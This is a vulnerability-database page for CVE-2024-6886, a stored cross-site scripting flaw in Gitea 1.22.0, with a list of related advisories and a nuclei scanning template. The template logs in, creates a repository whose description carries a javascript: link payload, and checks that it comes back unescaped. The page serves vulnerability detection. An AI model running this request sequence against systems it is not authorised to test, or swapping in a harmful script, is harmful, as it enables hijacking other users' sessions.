Lucene search
+L

Gitea 1.22.0 - Cross-Site Scripting

🗓️ 17 Oct 2026 02:05:04Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 285 Views

Gitea 1.22.0 has a medium severity Stored Cross-Site Scripting vulnerability (CVE-2024-6886).

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Gitea 1.22.0 - Stored XSS Vulnerability
28 Aug 202400:00
–zdt
bdu_fstec
BDU FSTEC
Gitea XSS
16 Aug 202400:00
–bdu_fstec
circl
Circl
CVE-2024-6886
6 Aug 202407:28
–circl
cnnvd
CNNVD
Gitea 跨站脚本漏洞
6 Aug 202400:00
–cnnvd
cve
CVE
CVE-2024-6886
6 Aug 202403:23
–cve
cvelist
Cvelist
CVE-2024-6886 Inproper Sanitation of field leading to stored XSS
6 Aug 202403:23
–cvelist
exploitdb
Exploit DB
Gitea 1.22.0 - Stored XSS
28 Aug 202400:00
–exploitdb
euvd
EUVD
EUVD-2024-2490
3 Oct 202520:07
–euvd
github
Github Security Blog
Gitea Cross-site Scripting Vulnerability
6 Aug 202406:30
–github
gitlab
GitLab Advisory Database
Gitea Cross-site Scripting Vulnerability
6 Aug 202400:00
–gitlab
Rows per page
id: CVE-2024-6886

info:
  name: Gitea 1.22.0 - Cross-Site Scripting
  author: soonghee2
  severity: medium
  description: |
    Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session.
  impact: |
    Authenticated attackers can inject malicious JavaScript into repository descriptions that executes in the context of other users' sessions when they view the repository.
  remediation: |
    Update Gitea to version 1.22.1 or later to address the stored XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/52077
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6886
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L
    cvss-score: 6.7
    cve-id: CVE-2024-6886
    cwe-id: CWE-79
    epss-score: 0.32968
    epss-percentile: 0.98346
    cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: gitea
    product: gitea
  tags: cve,cve2024,gitea,xss,authenticated,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"

http:
  - raw:
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_name={{username}}&password={{password}}

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /{{username}} HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /repo/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        repo_name={{randstr}}&description=<a%20href="javascript:alert(document.domain)">XSS</a>&_csrf={{csrf_token}}&uid={{uid_name}}

      - |
        GET /{{username}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_5
        words:
          - '<a href="javascript:alert(document.domain)">XSS</a>'
          - 'gitea'
        condition: and

      - type: word
        part: header_5
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - 'name="_csrf" value="([^"]+)"'
        internal: true

      - type: regex
        name: uid_name
        group: 1
        regex:
          - '"uid":\s*(\d+)'
        internal: true
# digest: 4b0a00483046022100cf6987f1ffd0353a38d8bace1a548d99f5037f7c78bd5c0e082e3e282630033e022100eea49ba38d5d613fd6ea28fe94504589c59cb9e9a0ae27e60f676486147d63df:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
8.1High risk
Vulners AI Score8.1
CVSS 410
EPSS0.32968
SSVC
285